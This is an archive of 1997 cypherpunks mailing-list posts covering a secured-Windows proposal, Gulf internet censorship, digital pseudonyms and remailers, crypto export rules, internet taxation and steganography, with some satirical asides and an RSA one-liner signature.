Why not rewrite Windows?  Call it Secured Windows (or S/Win).  Features 
might include:
	- no swapfile, or at least one that is securely deleted each
	  time the system is shut down
	- automatically overwrite __ times when deleting information
	  from the hard drive
	- digital cash wallet app
	- S/WAN or SSH-type access to ISP
	- library of different encryption apps, including an easy way
	  to quickly encrypt all sensitive files

Initially S/Win would be useful for emerging ecommerce businesses, and also 
companies and individuals handling sensitive data (i.e., accountants, 
lawyers, etc.).  As ecommerce begins to evolve, people doing high-value 
transactions (like buying stocks and other financial instruments) will want 
to know they aren't getting bogus stock ticker prices (a la IP-spoofing) so
they don't unintentionally "sell the farm" at the wrong moment.

Maybe it's a crazy idea to rewrite Windows, but seeing as so many people are 
familiar with it already, why not make it more useful/better/secure?  

When the majority of computer owners realize that their emoney transactions 
can be compromised on an unsecure platform like Windows, they will demand a 
"product" like S/Win.  After all, what good is your personal Verisign 
certificate (a public key) -- not to mention SET -- if the corresponding 
signing/authentication (secret) key can be swiped off your computer by a 
malicious Active X control along with the keystroke sequence of your 
passphrase?

-g

"It sucks being a control freak during an information revolution."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Sep 1997 05:45:29 +0800
To: cypherpunks@toad.com
Subject: Arab youths bypass government's CyberPatrol Net-censorship
Message-ID: <v03007808b04c8f292158@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



	DUBAI, United Arab Emirates (AP) - Badr knows his way around the
Internet. He easily sidesteps government attempts to block access to the
pornographic sites that have lured him and other young Arabs to the
"information superhighway."
	"They close doors, but I can get in through windows," said Badr, a
20-year-old who scoffs at the struggles of conservative Arab governments to
police cyberspace.
	With the Internet growing more popular, the sheikdoms of the
Persian Gulf are becoming like Western parents trying to keep pornography
away from children.
	But it's not just young people that leaders worry about in these
strict Islamic societies, where women cover in black veils outside their
houses and public mingling between the sexes is discouraged.
	Kisses and foul language are edited out of foreign movies, and
magazines arrive with pages torn out and photos of women inked over in
black to hide even a hint of cleavage.
	Enter the Internet and the cry for censorship of pornography - and
in some cases politics - grows louder. All the region's Arab states but
one, impoverished Yemen, which cannot afford an effort to police the Web,
are working to limit access to Internet sites.
	Etisalat, the only Internet provider to the seven states of the
United Arab Emirates, set up software blockades after government officials
complained about free access to the Web. A "proxy cache server" cuts out
sites deemed offensive by Etisalat, which is partly owned by the government.
	Khaldoon Tabbaza, publisher of the Jordan-based Arabia Online
service, said some attempts at censorship get ridiculous.
	"There is software programmed to block sites which contain certain
keywords such as nude, sex and breast. So if you're interested in getting
access to information about Middlesex county in the United Kingdom,
research about breast cancer or - a chicken breast recipe, you cannot," he
said.
	Despite the government efforts, many Arab youths search out
material on the Internet virtually unchallenged.
	Badr, the young Emirates hacker who showed off his Internet skills
on condition only his first name was used, is evidence the system doesn't
work. Clicking his mouse, he moved through a series of sites and soon he's
looking at naked women and pornographic video images, complete with sound
effects.
	Robert, a Lebanese who also insisted on using only his first name,
thwarts an Arab taboo almost as strong as that against pornography -
talking to enemy Israel.
	"I spend two to three hours online (several times a week) chatting
with people in Israel. Its very interesting for me to exchange thoughts and
opinions with the people I was brought up to view as my enemies," said
Robert, a 24-year-old sales executive based in Dubai.
	"We do exchange some tough words when some sort of violence erupts
in the region, but I think that is part of getting to know each other."
	Qatar and Oman are the only Persian Gulf states with even fledgling
diplomatic ties to Israel. The other countries have no telecommunications
or mail links to the Jewish state, but e-mail via the Internet sidesteps
that.
	Qatar and Oman both try to block access to pornographic sites,
however, using such software as "Cyber Patrol" and "Net Nanny."
	Kuwait's Communications Ministry is working on a system of blocking
access to proscribed Internet sites.
	Meanwhile, Saudi Arabia, one of the most conservative Muslim
countries, has yet to officially join the cyberspace age. It has set up a
committee to oversee the introduction, but - with the wide range of Saudi
taboos - few expect the Internet to soon enter everyday life in the kingdom.
	Still, even in Saudi Arabia, people find ways to track down
scandalous Internet sites. Saudis who can afford it make long-distance
telephone calls to dial up Internet networks in other countries, mainly in
the Emirates and Bahrain, but also in Britain.
	The problems of censorship grow with the Internet's popularity. The
Emirates' Etisalat has 20,000 subscribers and an estimated 100,000 users.
Internet cafes have opened in Oman and Qatar and in Dubai, one of the seven
states in the Emirates.
	An official at Qatar Telecommunications Corp., speaking on
condition of anonymity to avoid offending government and religious leaders,
conceded that access to offensive material on the Internet could not be
completely blocked. But he insisted it could be controlled.
	Others simply refuse to recognize the problem.
	"Most of our customers come here for the fun of it," said Ali
Mohammed, manager at an Internet cafe in Qatar. "They are not interested in
pornography."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 22 Sep 1997 23:37:27 +0800
To: cypherpunks@Algebra.COM
Subject: side effects of techno-arms-races considered beneficial
Message-ID: <199709221527.RAA06323@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym 
"Will Rodger <rodger@worldnet.att.net>" typed:
>
> The one exception I recall is the position taken by the Competitive
> Enterprise Institute. The CEI took the position that no regulation at
> all was needed and that marketplace forces would police the Net.
> Their view, for better or worse, is not very visible elsewhere.
> 
> Another solution, of course, is a techno-arms race solution to
> privacy. That works for readers of this list, but that's not who the
> FTC worries about. Libertarians will, of course, shudder at the
> notion that they should.


Cypherpunks know the underlying math.  Cypherpunks have seen 
the future-- in the long run, privacy wins the techno-arms 
race (barring quantum computation etc.).  So if the battle goes
to the techno ground, we win, and everyone who values their 
privacy wins.  (_Not_ just the techie elite.  Tech comes to the
masses, too, including privacy tech.)


If the battle takes place in the Byzantine halls of power and 
opinion, then I'd say the outcome is anyone's guess.  See the
current U.S. legislative debacle.


* Creation of laws is likely to do more harm than good -- this
 is one reason to abjure legislation and lobbyism and work on 
 coding and distributing.


This much is already known to my readers.  I'd like to add 
another detail:  Techno arms races have positive side effects!
Ratings systems, reputations, markets, scripting languages, CPU
tech, distributed computing, information security and smart 
agents technologies which enhance our privacy tech, or which 
are enhanced by our privacy tech, or both.


* Even a _good_ law which _solves_ a problem interferes with 
 the development of technological solution to the problem.  A 
 solution which might have had broader applications.  This is 
 another reason to abjure such kludges.



Regards,

Zooko, Journeyman Hacker

P.S.  Anybody remember that stupid phrase from Wired: "To hack
politics down to its component parts and fix it."?  Egh.  I'd 
sooner code a critical system in COBOL while stupid and/or 
malicious strangers edit my code and my development environment
without warning.  Which is to say:  I wouldn't try!

P.P.S.  Because "Techno arms races have positive side effects."
is why I like spam.  It forces people to learn about killfiles,
digital authentication, resource management, denial-of-service
attacks and suchlike.  Unless a law manages to silence the
offensive speakers and return the masses to their inflexible,
insecure environments.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 23 Sep 1997 06:01:43 +0800
To: Wei Dai <weidai@eskimo.com>
Subject: Re: encouraging digital pseudonyms
In-Reply-To: <Pine.SUN.3.96.970922031430.14500A-100000@eskimo.com>
Message-ID: <3.0.3.32.19970922174558.0356a9ec@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:16 AM 9/22/97 -0700, Wei Dai wrote:
>When I see a piece of email sent to the cypherpunks list
>from an anonymous remailer, I typically delete it without reading, because
>there is no easy way to tell between anynoymous email (which are typically
>junk) and pseudonymous email, and there is no easy way to filter by
>pseudonym.

Perhaps I am missing something here.  I find it easy to distinguish type-I
anonymous traffic from nym mail.  Anonymous mail usually comes from an
address like 'anon@' or 'nobody@' while pseudonymous mail will come from a
pseudonym.

A pseudonym is almost indistinguishable from a regular email address.  The
only way you can tell is if your know the domain is a remailer domain.
Since there are very few stable nymservers in the world, it should not be
hard to filter for all of the stable nyms individually.  If I was looking
or a generic way to filter out from all anonymous mail from the 3 to 12
nyms (depending on how you count) on the same domains, I'd look for the
word "anonymous" in the from field.

I successfully filter all anonymous mail I receive, but I assign it a color
rather than rejecting anonymous mail.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Miner <miner333@dogbert.xroads.com>
Date: Tue, 23 Sep 1997 09:40:45 +0800
To: cypherpunks@Algebra.COM
Subject: Interesting Statistic in WSJ
Message-ID: <3.0.3.32.19970922182412.00774178@roxanna>
MIME-Version: 1.0
Content-Type: text/plain



% of labor pool working for S&P500 companies = 14 %
% of labor pool working for government = 14.5%

S&P500 increase in productivity is running about 3.9%/year
Government 0.5% per year.

The 0.5% is probably attributed to the ever increasing number of citizen
units that end up in a prison working for 55 cents an hour, 1,000,000 plus
units and counting.

Do they offer licence plate stamping courses in jc?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 23 Sep 1997 11:54:12 +0800
To: cypherpunks@cyberpass.net
Subject: Minnesota Appeals Court Affirms Jurisdiction of the State
Message-ID: <v03102805b04ccd21c17b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>From Rolling Good Times:
In a recent action, the Minnesota Court of Appeals states that the Attorney
General has the right to regulate internet activity. This is one of the
first pieces of case law to arise in the area of internet gambling.

http://www.rgtonline.com/MinnAppeals.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Sep 1997 09:55:47 +0800
To: cypherpunks@Algebra.COM
Subject: The Suitcases have been Successfully Tested
Message-ID: <v03102804b04ccfd4600c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Monday September 22 3:54 PM EDT

Russia May Have 'Lost' Nuclear Bombs

By Andrei Khalip

MOSCOW (Reuter) - President Boris Yeltsin's former environmental safety
adviser said in remarks published on Monday that some of
Russia's portable nuclear bombs might indeed be missing, as asserted by
another former Yeltsin aide.

"The statement by Alexander Lebed concerning suitcases with nuclear bombs
is definitely not groundless," academician Alexei
Yablokov wrote in a letter to Novaya Gazeta weekly.
...
He mentioned more than 100 suitcase-sized nuclear bombs, any one of which
could kill up to 100,000 people.

....
The United States said then it had detected a seismic event "with explosive
characteristics" near the Novaya Zemlya test site, but Russian
officials flatly denied any nuclear tests.

They said Russia had voluntarily given up testing in 1992 and was sticking
to this position.

--end quote--

I was unable to attend the Demonstration at NZ, but I am now more willing
to bid for the suitcases than before. They really pack a punch!

I bid $800,000 for Suitcase Number 57.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Sep 1997 07:58:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encouraging digital pseudonyms (fwd)
Message-ID: <199709230005.TAA17421@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Sep 1997 17:45:58 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: encouraging digital pseudonyms

> Perhaps I am missing something here.  I find it easy to distinguish type-I
> anonymous traffic from nym mail.  Anonymous mail usually comes from an
> address like 'anon@' or 'nobody@' while pseudonymous mail will come from a
> pseudonym.

A pseudonym and an anonymous account are NOT the same thing. That is what
you are missing.

'ravage' is a 'nym that I have been using since about '82 or '83 (I used
'ogre' and 'ghost' before that), I have NEVER used an account such as
'anon<foo>@bar.com' while I do generate traffic under other short-term
'nym's.

The only reason anonymous mail comes as 'anon@' or 'nobody@' is because that
is the way they are currently set up. If an anon-remailer were serious about
long-term survival the output accounts would look just like the user
accounts and not something as blatent as the above.

Anonymous remailers will have arrived when they quit using the simple
patterning as above and they figure out how to charge for their services
(anonymous privacy is a commodity with a worth, seriously undervalued in
todays market).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Tue, 23 Sep 1997 07:23:14 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970922104428.006977f4@postoffice.worldnet.att.net>
Message-ID: <3.0.3.32.19970922191439.006a46f8@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 03:46 PM 9/22/97 +0000, Declan McCullagh wrote, regarding the 
right of people to say almost anything anywhere under any 
circumstance:
 This principle does not disappear when the
>> >information being shared is digital.

To which I suggested that simple gossip is qualitatively different 
from posting confidential information about others to, say, a 
newsgroup or Web page. Thus: 

>> That's a bold assertion, but not one that squares easily with the 
>> half-dozen or so privacy laws already on the books at the federal 
>> level.
>
(stuff snipped)

Declan responded:
 
>And yes, some of the "half-dozen or so privacy laws already on the 
books"
>are misguided. Just as many argue laws against drugs, gambling, or
>FCC rules prohibiting the broadcast of "indecent" material are also
>unconstitutional -- and a waste of our police's time.

That's a great response, but I still see little chance that this 
argument will go away on constitutional grounds. Until then, I'm 
reporting on what happens. It's shocking and intellectually 
indefensible, I know, but hey, my money's on reality.;-).


>> I would like to go to those small-town folk of whom urban 
>> intellectuals write so eloquently and ask them what they would 
think 
>> of their neighbors posting all their gossip to a place where 
millions 
>> can read it. Something tells me they wouldn't see those two 
actions 
>> as one in the same. There is a qualitiative difference between the 

>> two.
>
>The problem is, I suspect, in drawing that line. Want to try your 
hand in
>drawing a line outlining the scope of "obscenity" laws? Remember 
they
>cover textual material in some states and comics in others. No? I 
didn't
>think so. 

Actually, I'd be more than happy to "draw the line" if I did such 
things for a living - but I don't. In any case, I'd address the topic 
of privacy on its own without referring to hot button issues like 
obscenity. I invite everyone else to decide if the two issues are a 
fair parallel or not.

I now invite Solveig, Julie and everyone else to comment. Me, I'm 
just betting on the horses....

Will

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCb73tZgKT/Hvj9iEQLCiACghlPBpeIaUHheWN4Bp9JJXlEFp2IAoLB6
OVSFs2pSDjjRqidKHmy9uT6H
=DRrn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Sep 1997 10:55:50 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: The Suitcases have been Successfully Tested
In-Reply-To: <v03102804b04ccfd4600c@[207.167.93.63]>
Message-ID: <v03102805b04cde87d442@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:38 AM -0700 9/23/97, Lucky Green wrote:
>On Mon, 22 Sep 1997, Tim May wrote:

>> I was unable to attend the Demonstration at NZ, but I am now more willing
>> to bid for the suitcases than before. They really pack a punch!
>>
>> I bid $800,000 for Suitcase Number 57.
>
>That could easily provide a return of 1000% on investment in a matter of
>miliseconds.  :-) As always, read the prospectus carefully before you
>invest.

As Nukes R Us told me, "past results in Hiroshima and Nagasaki are no
guarantee of future results."

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Sep 1997 04:34:03 +0800
To: azur@netcom.com
Subject: Re: EAR question
In-Reply-To: <v03102800b04b685e4382@[10.0.2.15]>
Message-ID: <199709222023.VAA02921@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Steve Schear <azur@netcom.com> writes:
> If crypto source code is published in printed form and distributed under a
> non-disclousre agreement does it meet the uncontrolled export criteria
> under the new EAR regs?  My question seems to hinge on the definition of
> "general distribution," in Sec. 734.7.
> 
> The key passages seem to be:
> 
> Sec. 734.3  Items subject to the EAR.
> 
> * * * * *
>     (b) * * *
>     (3) Publicly available technology and software, except software
> controlled for EI reasons under ECCN 5D002 on the Commerce Control
> List, that:

Have you read 5D002?  I think this is the clause which says that you
can not export it for whatever reason.

My reason for thinking this is from reading some of Peter Jungers
docs at:

	http://samsara.law.cwru.edu/comp_law/jvd/pdj-bxa-gjs070397.htm

the decision the commerce department made on the RSA sig said that it
was not exportable, 5D002 was the paragraph quoted as the reason why
it was not exportable.

That is perhaps it is not that interesting what you can do with stuff
which isn't designated 5D002, as that is exportable anyway.

On a related note my understanding of what Peter Junger is saying is
that under EAR you can export anything you want just by printing it on
a piece of paper and snailing it.

Adam
--
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jean-Francois Avon <jf_avon@citenet.net>
Date: Tue, 23 Sep 1997 09:44:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Taxing Problem (fwd)
Message-ID: <Pine.SUN.3.91.970922213540.16577D-100000@cti02.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 22 Sep 1997 21:31:23 -0400 (EDT)
From: Jean-Francois Avon <jf_avon@cti02.citenet.net>
To: e$@thumper.vmeng.com
Subject: Re: The Taxing Problem



>             Few jurisdictions have begun to grapple with the issue, but they
>             will, since many of them around the world are starved for
>             revenues. And when they do, their tax authorities will discover
>             the wonderland quality of the Internet. Two jurisdictions--the
>             state of Florida and Tacoma, Wash.--recently tried to impose
>             some level of taxation on e-commerce.

It is not everybody who say that their only wish is to get our keys for 
the sake of reading our love letters... [see later remark]

>             a Web site based in a low-tax jurisdiction. Distribution through
>             the Internet could make the tax authority just another
>             superfluous middleman.

Since when the tax man was a middleman?

>             problems. The very concept of "permanent establishment" in an
>             international tax context as the basis for taxation is
>             unworkable in the information age.

Basically, the law of causality starts to catch them up.  Money is 
an expression of Man's Reason, expressed through it's productive 
abilities. Since taxing is always coercitive, it goes against individuals's 
best judgment.  So, when there is nothing to physically coerce, they loose the 
ability to tax.

>             The time to explore Internet taxation issues is now--before
>             electronic commerce really heats up, before the enormous
>             economic potential it offers is lost in a welter of confusing,
>             conflicting, and counterproductive tax policies. 

"Economic Potential", Newspeak for "confiscation of production to finance 
other's peoples dreams".  And they 
realize that if they don't clamp on it *now*, it'll go through their 
fingers like fine dry sand.  

"To explore the [...] issues": Newspeak for "to bully the 
Freedom-of-e-commerce groups", Newspeak for "to figure out a way to keep 
milking them without killing them".  

>             Legislatures
>             worldwide need to hear from the business community about the
>             promise of electronic commerce, and about the need to protect it
>             through wise and coordinated tax policies

How in the hell tax policies will "protect" the electronic commerce?  
Easy: just the way the Mafia used to "protect" commerces from burning 
up...

Newspeak Master.

>             --policies that take
>             into account the way the Internet really works.

Newspeak for "how to keep milking, or rather, keep bloodsucking them without 
killing them?

And accessorily,   how exactly does it work?  In a totally non-private way.  
So, *naturally*,  businesspersons will want to protect their privacy.  But 
how in hell is the govt be able to do *any* monitoring of transactions if the 
transactions are encrypted?  Duhhh...

Note to Unicorn: how does 2+2 ?    :-)

>  
>             Maybe the business community needs to take the first step.
>             Corporations should initiate the debate on how to create tax
>             policies that do not cripple electronic commerce.

Peoples on Death Row are more lucky:: they don't get coaxed to weave their 
own hanging rope...

Why concede them their screwed-up, leech mentality basic premises? 
In no way should we engage in this discussion.  All we need to do is to 
expose our basic premises and say that the case rest.

>             There's only
>             one way to move Internet commerce from here to there, and that's
>             to engage in some forward-looking discussion.

I.e. there is only one way to make us swallow their Newspeak: to dazzle 
us with their fancy and rhetorics in order
 to make us abandon our basic premises.

But will we?   :-b 
                   
                 --8==

Ciao

jfa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 23 Sep 1997 13:57:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <3429560f.30622794@128.2.84.191>
Message-ID: <3.0.3.32.19970922221458.00773a94@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713733.multipart/signed"

--Boundary..3984.1071713733.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 11:28 AM 9/22/97 GMT, phelix@vallnet.com wrote:
>remailers handle the increased load?  Are there enough remailers?
>People will not tolerate more than a 24 hour delay for getting their
>messages delivers.  What about spamming?  
>
>Another Question:  Since such a plugin uses (has the hooks for) encryption,
>would it be covered by ITAR?  (i'm asking because I'm seriously considering
>making the eudora plugin)

The Eudora plugin should support remailer chaining and PGP encryption for
personal messages, as well as give the user the opportunity to BE a
remailing service.

>Anyway, the remailer 'network' needs to be strengthened.  Right now,
>Raph's pinging service (or whatever private idaho uses) is the only way
>private idaho can tell which servers are up.  Attack this point, and
>reliability when chaining remailers becomes uncertain.    Imagine a TLA
>co-opting this service and altering the list to favor government friendly
>remailers.
>
>It also needs to be easier to set up a remailer.  I'd like to see the
>software distributed in .deb and .rpm packages for Linux.  Once set up, the
>remailer could automatically announce itself to the world (perhaps via a
>newsgroup post).  The various listing services would pick up on this.  The
>more automated it is, the better.

How about posting availability notices alt.remailer-availability.announce
(create it if necessary) or alt.anonymous.messages?

>>I am sure that people can think of all sorts of other ideas for needed
>>apps.  But to make them usable for the "general public", the apps will be
>>needed to be written for Windows.  (As much as I hate to think about it...)
>
>Private idaho needs to be rewritten (in Java possibly) to be simpler to
>operate.  There should be one button to press to send a message without
>messing with what type and which remailers to use; the program could choose
>these things randomly (ok, it's not the best thing to do, but at least it's
>easy to use).  It also should be updated to use pgp 5.0 (not exclusively,
>of course).  If possible, also add support for the Eternity Service.

The remailer plugin should be able to:
1. Scan all available sources of remailer availability / reliability.
2. Allow the user to select a pool of trusted remailers.
3. Allow the user to select the number of remailers in the chain.
4. Randomly select remailers from the pool.
5. Encrypt / add headers to the outgoing message to match the selected
remailers.

>Stenography Plugin for mail/news readers.  It's our one (and possibly only)
>defense against GAK.  You can't decrypt what you can't see.  (watch for
>Stenography to be classified as encryption and be similarly restricted.)

Look for AOL and other ISP's to automatically run a "noise reduction"
filter (as in CoolEdit 96) on .wav / .jpg files if GAK becomes mandatory.
CoolEdit's noise reduction filter is great for removing tape hiss and other
constant background noise from sound files, (it can make a cheap tape deck
sound like a cheap CD player) but it would obviously destroy any stegoed
data. The noise reduction algorithm is very processor intensive--it takes
my 586/133 about an hour to NR a 3 minute stereo 44 KHz recording, but I'm
sure you could set up a "light" version of the filter that would destroy
stego data without taking as long.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713733.multipart/signed
Content-Type: application/octet-stream; name="pgp00008.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00008.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IGNsc2lnTjNJS2Rq
RGhKc2xhNU5TZ0FhV1BhQXhxRXFpCgppUUEvQXdVQk5DZFZLY0pGMGtYcXB3
M01FUUkrMHdDZlJOVjcyZDExOEdqb0ZHUUVBRUZVdE5NV0pDc0FvT0hFCkQ4
OE02VmZ6RWhmdk5rTUtDS0tNNjIrbQo9byszbwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713733.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Sep 1997 11:40:40 +0800
To: devnull@manifold.algebra.com
Subject: Re: MatchPseudonym Technology / Re: encouraging digital pseudonyms
In-Reply-To: <3426D660.6874@dev.null>
Message-ID: <199709230329.WAA22595@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Prof. TruthMonger wrote:
> Tim May wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA2
> > 
> > At 3:16 AM -0700 9/22/97, Wei Dai wrote:
> > >One of Tim's suggested cypherpunk projects is to encourage the use of
> > >digital pseudonyms (i.e. cryptographically persistent entities not linked
> > >with True Names).
> 
>   Like TruthMonger!

That cypherpunk project came to fruition a year and a half ago.

My moderation bot STUMP, available for free download at my Web Site
http://www.algebra.com/~ichudov, actively supports pseudonymous posters
who identify themselves with PGP.

> > >When I see a piece of email sent to the cypherpunks list
> > >from an anonymous remailer, I typically delete it without reading, because
> > >there is no easy way to tell between anynoymous email (which are typically
> > >junk) and pseudonymous email, and there is no easy way to filter by
> > >pseudonym.

STUMP rewrites the From: field for pseudonymous letters, substituting
the From: field to the user ID in the PGP key.

> > I'm planning to make more serious use of pseudonyms, digitally signed.
> > Despite what LD used to claim about my use of "tentacles," it was simply
> > too much trouble to do the elaborate cut-and-paste of using PGP 1.9, 2.7.
> > 2.85, etc. for my Amiga.
> 
>   Well, if Mr. Cryptography himself finds it too much trouble to
> use cryptography, then I guess it shows how lame the efforts are
> of the CypherPunks who complain that Joe Sheeple doesn't use it,
> either.

I have had great success with people who never used PGP and then
started using it to sign pseudonymous articles (like Prof. CBI-admin@...).

> > To this end, this message is being signed. With my new PGP 5.6 key. Signed
> > by my old (really, really, old) 1989 key.
> 
>   This ought to ensure that you won't be the target of forgeries in
> your name, or scum who misquote and/or twist your words.

STUMP does that and more.

Interestingly, rec.martial-arts.moderated, which also uses my bot, went
even farther than soc.culture.russian.moderated and now requires all
anonymous users to sign their posts with PGP -- in essense making them
pseudonymous. I was a bit surprised initially, but do not mind it as
long as anyone can post anonymously.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Tue, 23 Sep 1997 12:59:09 +0800
To: cypherpunks@toad.com
Subject: InfoWar 19 (Part III of 'The True Story of the InterNet)
Message-ID: <3427480F.5344@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II






B



The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Extra! : News From the Front 


Extra! : News From
the Front


[News Flash! From: http://www.turnleft.com  "The Home of
Liberalism on the Web"]

What They Don't Want You to Know
   by  Auto-Correspondent "http://www.cjnetworks.com/~cubsfan/conspiracy.html"

In order to understand InfoWar you need to realize that everything
is
controlled by a CypherPunks list made up of Cult of One members

with help from Nobody and Anonymous.

The conspiracy first started during the Censorship Experiment
in
majordomo@toad.com. They have been responsible for many
events throughout history, including the InfoWar.

Today, members of the conspiracy are everywhere. They can be
identified by their Code writing.

They want to electronically forge TruthMonger posts and imprison

resisters in Silicon Valley using Trei Transponders.

In order to prepare for this, we all must Nuke DC. Since the media

is controlled by Declan McCullagh we should get our information

from Black Unicorn's yellow-menace writing in blanc snow..


Just as he had suspected!

A Player To Be Named Later read the output of the Java script
at Left Turn's 'Make Your Own Conspiracy Theory' page.
Left Turn had confirmed everything he had been discovering on
his own, even when he had discovered facts and information which
pointed toward completely contradictory conspiracy theories. A
Player To Be Named Later recognized that this was positive proof
